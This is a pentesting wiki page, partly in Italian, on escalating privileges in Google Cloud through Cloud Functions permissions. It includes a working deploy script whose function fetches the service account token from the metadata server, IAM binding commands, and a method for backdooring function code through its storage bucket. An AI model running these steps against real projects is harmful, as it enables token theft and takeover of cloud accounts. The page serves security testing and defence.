# GCP - Cloudfunctions Privesc

{{#include ../../../banners/hacktricks-training.md}}

## cloudfunctions

More information about Cloud Functions:

{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
{{#endref}}

### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

Un attaccante con questi privilegi può **create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account**. Then, leak the Service Account token from the metadata to escalate privileges to it.\
Potrebbero essere necessari alcuni privilegi per attivare la funzione.

Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).

### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

Un attaccante con questi privilegi può **modify the code of a Function and even modify the service account attached** con l'obiettivo di esfiltrare il token.

> [!CAUTION]
> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.

Potrebbero essere richiesti privilegi aggiuntivi come il permesso `.call` per la versione 1 di cloudfunctions o il ruolo `role/run.invoker` per invocare la funzione.
```bash
# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
> [!CAUTION]
> Se ricevi l'errore `Permission 'run.services.setIamPolicy' denied on resource...` è perché stai usando il parametro `--allow-unauthenticated` e non hai i permessi sufficienti per farlo.

Lo script di exploit per questo metodo si trova [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).

### `cloudfunctions.functions.sourceCodeSet`

Con questo permesso puoi ottenere un **URL firmato che permette di caricare un file in un bucket della funzione (ma il codice della funzione non verrà cambiato, devi comunque aggiornarlo)**
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
Non sono davvero sicuro di quanto possa essere utile solo questo permesso dal punto di vista di un attaccante, ma è bene saperlo.

### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`

Concediti uno qualsiasi dei precedenti privilegi **`.update`** o **`.create`** per eseguire l'elevazione dei privilegi.
```bash
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
```
### `cloudfunctions.functions.update`

Avendo solo le autorizzazioni **`cloudfunctions`**, senza **`iam.serviceAccounts.actAs`** non potrai aggiornare la funzione, QUINDI QUESTO NON È UN PRIVESC VALIDO.

### Invocare funzioni
Con le autorizzazioni `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, e run.routes.invoke, un'identità può invocare direttamente Cloud Functions. È inoltre necessario che la funzione consenta traffico pubblico, oppure che il chiamante si trovi nella stessa rete della funzione stessa.
```bash
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'
```
### Accesso in lettura e scrittura sul bucket

Se hai accesso in lettura e scrittura sul bucket puoi monitorare le modifiche al codice e, ogni volta che **avviene un aggiornamento nel bucket, puoi sostituire il nuovo codice con il tuo**, in modo che la nuova versione della Cloud Function venga eseguita con il codice backdoored inviato.

You can check more about the attack in:

{{#ref}}
gcp-storage-privesc.md
{{#endref}}

Tuttavia, non puoi usare questo per pre-compromettere Cloud Functions di terzi perché se crei il bucket nel tuo account e gli concedi permessi pubblici in modo che il progetto esterno possa scriverci sopra, ricevi il seguente errore:

<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>

> [!CAUTION]
> Tuttavia, questo potrebbe essere usato per DoS attacks.

### Accesso in lettura e scrittura su Artifact Registry

Quando viene creata una Cloud Function, una nuova immagine docker viene inviata all'Artifact Registry del progetto. Ho provato a modificare l'immagine con una nuova, e persino a eliminare l'immagine corrente (e l'immagine `cache`) ma nulla è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe essere **possibile abusare di una Race Condition attack** come con il bucket per cambiare il docker container che verrà eseguito, ma **modificando soltanto l'immagine memorizzata non è possibile compromettere la Cloud Function**.

## Riferimenti

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../banners/hacktricks-training.md}}
